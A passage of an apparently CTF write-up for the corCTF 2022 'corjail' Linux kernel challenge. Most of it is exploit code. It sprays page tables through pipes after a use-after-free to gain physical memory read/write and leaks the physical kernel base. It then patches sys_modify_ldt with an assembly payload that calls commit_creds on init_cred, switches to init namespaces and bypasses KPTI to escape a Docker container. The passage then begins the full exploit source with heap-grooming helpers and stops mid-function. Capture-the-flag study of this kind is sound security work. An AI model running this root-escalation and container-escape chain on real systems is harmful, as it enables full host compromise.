&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  mmap_addrs[i] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mmap&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)(MMAP_SPRAT_START_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; MMAP_SPRAT_STEP),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        MMAP_SPRAT_SIZE, PROT_READ &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; PROT_WRITE,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        MAP_ANONYMOUS &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; MAP_SHARED, &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (mmap_addrs[i] &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; MAP_FAILED) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fatal&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mmap&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;sched_yield&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close_pipe_at&lt;/span&gt;(victim_pipe_fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]); &lt;span style=&#34;color:#75715e&#34;&gt;// Make UAF page
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; j &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; j &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAT_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; MMAP_PAGE_SIZE; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;j) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)(mmap_addrs[i] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; MMAP_PAGE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; j);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; val &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ((&lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt;)i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; j &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x01010101&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; val;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Why this does not work..?? I don&amp;rsquo;t know but the below code works&amp;hellip;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  mmap_addrs[i] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mmap&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)(MMAP_SPRAT_START_ADDR &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; MMAP_SPRAT_STEP),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        MMAP_SPRAT_SIZE, PROT_READ &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; PROT_WRITE,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        MAP_ANONYMOUS &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; MAP_SHARED, &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (mmap_addrs[i] &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; MAP_FAILED) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fatal&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mmap&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;sched_yield&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close_pipe_at&lt;/span&gt;(victim_pipe_fds[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]);  &lt;span style=&#34;color:#75715e&#34;&gt;// Make UAF page
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; FILE_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  file_fds[i] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, O_RDONLY);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (file_fds[i] &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;fatal&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;open&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; FILE_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;close&lt;/span&gt;(file_fds[i]);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; j &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; j &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAT_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; MMAP_PAGE_SIZE; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;j) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)(mmap_addrs[i] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; MMAP_PAGE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; j);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; val &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ((&lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt;)i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; j &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x01010101&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; val;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Any way using above code, we can modify PTEs for &lt;code&gt;mmap&lt;/code&gt;ed memory via &lt;code&gt;pipe&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&#34;leak-physical-kernel-base&#34;&gt;Leak physical kernel base&lt;/h4&gt;
&lt;p&gt;Each PTE has its own flags and PFN(Page Frame Number; it&amp;rsquo;s just &lt;code&gt;&amp;lt;physical address&amp;gt; &amp;gt;&amp;gt; 12&lt;/code&gt;).
And thus we can arbitrary read and write physical memory with modified PTE.&lt;/p&gt;
&lt;p&gt;So our approach is patch kernel code to escape docker and We need to know physical kernel base address for that.
The linux loads kernel at different physical memory.
But there is a way to leak it: dmabuf at &lt;code&gt;PA:0x9c000&lt;/code&gt; (I don&amp;rsquo;t know what is it and why there is it..).
The physical kernel base will be &lt;code&gt;*( *(uint64_t*)(PA:0x9c000)&amp;amp;(~0xfff) - 0x2004000ULL)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;PS. If KASLR is disabled, physical kernel base will be &lt;code&gt;*( *(uint64_t*)(PA:0x9c000)&amp;amp;(~0xfff) - 0x2001000ULL)&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&#34;patch-sys_modify_ldthttpselixirbootlincomlinuxv510127sourcearchx86kernelldtcl659&#34;&gt;Patch &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/arch/x86/kernel/ldt.c#L659&#34;&gt;sys_modify_ldt&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Now we can patch kernel&amp;rsquo;s code. So I patch &lt;code&gt;modify_ldt&lt;/code&gt; syscall and call it.&lt;/p&gt;
&lt;p&gt;The patched &lt;code&gt;modify_ldt&lt;/code&gt; will be follwoing:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;183976425&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;183976425&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-escape_docker.asm&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Compiled using https://defuse.ca/online-x86-assembler.htm
// We need `endbr64` if CFI is enabled (check out https://en.wikipedia.org/wiki/Control-flow_integrity and https://en.wikipedia.org/wiki/Indirect_branch_tracking)
call get_rip;
get_rip:
  pop r15;
  sub r15, 0x252f0; // &amp;amp;__x64_sys_modify_ldt - kbase == 0x252f0
  sub r15, 5; // call get_rip; takes 5 bytes

  // call commit_creds(&amp;amp;init_cred);
  lea rdi, [r15 + 0x145a960]; // &amp;amp;init_cred - kbase == 0x145a960
  lea rax, [r15 + 0xeba40]; // &amp;amp;commit_creds - kbase == 0xeba40
  call rax;

  // task = find_task_by_vpid(1);
  // call switch_task_namespaces(task, &amp;amp;init_nsproxy);
  mov rdi, 1;
  lea rax, [r15 + 0xe4fc0]; // &amp;amp;find_task_by_vpid - kbase == 0xe4fc0
  call rax; // find_task_by_vpid(1)
  mov rdi, rax; // task
  lea rsi, [r15 + 0x145a720]; // &amp;amp;init_nsproxy - kbase == 0x145a720
  lea rax, [r15 + 0xea4e0]; // &amp;amp;switch_task_namespaces - kbase == 0xea4e0
  call rax; // switch_task_namespaces(task, &amp;amp;init_nsproxy);

  // current = find_task_by_vpid(pid);
  // current-&amp;gt;fs = copy_fs_struct(&amp;amp;init_fs);
  lea rdi, [r15 + 0x1589740]; // &amp;amp;init_fs - kbase == 0x1589740
  lea rax, [r15 + 0x2e7350]; // &amp;amp;copy_fs_struct - kbase == 0x2e7350
  call rax; // copy_fs_struct(&amp;amp;init_fs);
  mov rbx, rax; // new_fs
  mov rdi, 0x1111111111111111; // pid: will be fiexed
  lea rax, [r15 + 0xe4fc0]; // &amp;amp;find_task_by_vpid - kbase == 0xe4fc0
  call rax; // current = find_task_by_vpid(pid)
  mov [rax + 0x6e0], rbx; // current-&amp;gt;fs = new_fs

  // bypass kpti
  xor rax, rax;
  mov [rsp + 0x00], rax;
  mov [rsp + 0x08], rax;
  mov rax, 0x2222222222222222; // user_ip: will be fixed
  mov [rsp + 0x10], rax;
  mov rax, 0x3333333333333333; // user_cs: will be fixed
  mov [rsp + 0x18], rax;
  mov rax, 0x4444444444444444; // user_rflags: will be fixed
  mov [rsp + 0x20], rax;
  mov rax, 0x5555555555555555; // user_sp: will be fixed
  mov [rsp + 0x28], rax;
  mov rax, 0x6666666666666666; // user_ss: will be fixed
  mov [rsp + 0x30], rax;
  lea rax, [r15 + 0xc00f06]; // bypass_kpti - kbase == 0xc00f06; bypass_kpti is in swapgs_restore_regs_and_return_to_usermode
  jmp rax; // bypass_kpti&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;exploit-code&#34;&gt;Exploit code&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;184976253&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;184976253&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/keyctl.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdarg.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/wait.h&amp;gt;
#include &amp;lt;syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define KERNEL_BASE_MASK (~0x00000000000fffff)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) &amp;gt;= KERNEL_BASE_START &amp;amp;&amp;amp; (addr) &amp;lt; KERNEL_BASE_END)

#define _PAGE_PRESENT (1ULL &amp;lt;&amp;lt; 0)  // Page is present in memory
#define _PAGE_RW (1ULL &amp;lt;&amp;lt; 1)       // Read/Write permission (1: writable)
#define _PAGE_USER (1ULL &amp;lt;&amp;lt; 2)     // User/Supervisor mode (1: user-accessible)
#define _PAGE_PWT (1ULL &amp;lt;&amp;lt; 3)  // Page Write-Through (1: write-through enabled)
#define _PAGE_PCD (1ULL &amp;lt;&amp;lt; 4)  // Page Cache Disable (1: caching disabled)
#define _PAGE_ACCESSED (1ULL &amp;lt;&amp;lt; 5)  // Accessed bit (1: page has been accessed)
#define _PAGE_DIRTY (1ULL &amp;lt;&amp;lt; 6)     // Dirty bit (1: page has been modified)
#define _PAGE_PSE \
  (1ULL &amp;lt;&amp;lt; 7)  // Page Size Extension (1: 2MB/1GB page, 0: 4KB page)
#define _PAGE_GLOBAL \
  (1ULL &amp;lt;&amp;lt; 8)  // Global page (1: remains in TLB across context switches)
#define _PAGE_NX (1ULL &amp;lt;&amp;lt; 63)  // No-Execute bit (1: execution is prohibited)

#define PTE_FLAGS_MASK \
  0xFFF0000000000FFFULL  // Mask to extract the lower 12-bit flag field
#define PTE_PFN_MASK \
  (~PTE_FLAGS_MASK)  // Mask to extract the PFN (Page Frame Number)

// Macro to extract the PFN from a PTE
#define PTE_TO_PFN(pte) (((pte) &amp;amp; PTE_PFN_MASK) &amp;gt;&amp;gt; PAGE_SHIFT)

#define PAGE_DEFAULT_FLAGS \
  (_PAGE_PRESENT | _PAGE_RW | _PAGE_USER | _PAGE_ACCESSED)

// Cache utils from https://github.com/isec-tugraz/SLUBStick
#ifndef HIDEMINMAX
#define MAX(X, Y) (((X) &amp;gt; (Y)) ? (X) : (Y))
#define MIN(X, Y) (((X) &amp;lt; (Y)) ? (X) : (Y))
#endif

static size_t rdtsc(void);
static inline size_t rdtsc_nofence(void) {
  return rdtsc();
  size_t a, d;
  asm volatile(&amp;#34;rdtsc&amp;#34; : &amp;#34;=a&amp;#34;(a), &amp;#34;=d&amp;#34;(d));
  a = (d &amp;lt;&amp;lt; 32) | a;
  return a;
}

static inline size_t rdtsc(void) {
  size_t a, d;
  asm volatile(&amp;#34;mfence&amp;#34;);
  asm volatile(&amp;#34;rdtsc&amp;#34; : &amp;#34;=a&amp;#34;(a), &amp;#34;=d&amp;#34;(d));
  a = (d &amp;lt;&amp;lt; 32) | a;
  asm volatile(&amp;#34;mfence&amp;#34;);
  return a;
}

static inline size_t rdtsc_begin(void) {
  size_t a, d;
  asm volatile(&amp;#34;mfence&amp;#34;);
  asm volatile(&amp;#34;rdtsc&amp;#34; : &amp;#34;=a&amp;#34;(a), &amp;#34;=d&amp;#34;(d));
  a = (d &amp;lt;&amp;lt; 32) | a;
  asm volatile(&amp;#34;lfence&amp;#34;);
  return a;
}

static inline size_t rdtsc_end(void) {
  size_t a, d;
  asm volatile(&amp;#34;lfence&amp;#34;);
  asm volatile(&amp;#34;rdtsc&amp;#34; : &amp;#34;=a&amp;#34;(a), &amp;#34;=d&amp;#34;(d));
  a = (d &amp;lt;&amp;lt; 32) | a;
  asm volatile(&amp;#34;mfence&amp;#34;);
  return a;
}

void pin_to_core(size_t core);

static void get_enter_to_continue(const char *msg);
static void fatal(const char *msg);

void pin_to_core(size_t core) {
  cpu_set_t target_cpu;

  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(core, &amp;amp;target_cpu);

  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
}

static void get_enter_to_continue(const char *msg) {
  puts(msg);
  getchar();
}
static void fatal(const char *msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

/**
 * type must be &amp;#34;keyring&amp;#34;, &amp;#34;user&amp;#34;, &amp;#34;logon&amp;#34;, or &amp;#34;big_key&amp;#34;
 */
static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid);
static int32_t sys_keyctl(int cmd, ...);
static int32_t sys_revoke_key(int32_t key);
static int32_t sys_update_key(int32_t key, void *payload, size_t size);
static int32_t sys_read_key(int32_t key, char *buf, size_t size);

static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid) {
  return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}
static int32_t sys_keyctl(int cmd, ...) {
  va_list ap;
  long arg2, arg3, arg4, arg5;
  va_start(ap, cmd);
  arg2 = va_arg(ap, long);
  arg3 = va_arg(ap, long);
  arg4 = va_arg(ap, long);
  arg5 = va_arg(ap, long);
  va_end(ap);
  return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}
static int32_t sys_revoke_key(int32_t key) {
  return sys_keyctl(KEYCTL_REVOKE, key);
}
static int32_t sys_read_key(int32_t key, char *buf, size_t size) {
  return sys_keyctl(KEYCTL_READ, key, buf, size);
}
static int32_t sys_update_key(int32_t key, void *payload, size_t size) {
  return sys_keyctl(KEYCTL_UPDATE, key, payload, size);
}

int vuln_fd;
static void off_by_one_in_kmalloc_4k(void);

static void off_by_one_in_kmalloc_4k(void) {
  char buf[0x1000];
  memset(buf, 0, 0x1000);
  write(vuln_fd, buf, 0x1000);
}

#define HEAP_ALLOC_COUNT 1000
int pipe_fds[HEAP_ALLOC_COUNT][2];
int alloc_4k_pipe_at(uint64_t idx) {
  const size_t pipe_size = 0x1000 * 64;
  int *fds = pipe_fds[idx];
  int res = pipe(fds);
  res |= (fcntl(fds[1], F_SETPIPE_SZ, pipe_size) &amp;lt; 0);

  char *uniguri = &amp;#34;UNIGURI@&amp;#34;;
  const uint64_t pipe_magic = 0xdeadbeef00000000 + idx;
  write(fds[1], uniguri, 8);
  write(fds[1], &amp;amp;pipe_magic, 8);

  return !res ? 0 : -1;
}

void close_pipe_at(size_t idx) {
  for (int i = 0; i &amp;lt; 2; ++i) {
    if (pipe_fds[idx][i] &amp;gt; 2) {
      close(pipe_fds[idx][i]);
      pipe_fds[idx][i] = -1;
    }
  }
}

size_t last_idx_in_slab[HEAP_ALLOC_COUNT];
int pipe_cnt = 0;
int make_kmalloc_4k_slab_full(const int slab_cnt) {
  pipe_cnt = 0;
  int add_key_res[HEAP_ALLOC_COUNT];
  size_t times[HEAP_ALLOC_COUNT] = {
      0,
  };
  const char type[] = &amp;#34;keyring&amp;#34;;
  char desc[0x1000];
  memset(desc, &amp;#39;.&amp;#39;, sizeof(desc));
  desc[sizeof(desc) - 1] = 0;

  size_t last = 0;
  memset(last_idx_in_slab, 0, sizeof(last_idx_in_slab));
  size_t running = 0;
  int finded = 0;
  for (int i = 0; i &amp;lt; HEAP_ALLOC_COUNT; ++i) {
    sched_yield();
    int pipe_res = alloc_4k_pipe_at(i);
    const size_t t1 = rdtsc_begin();
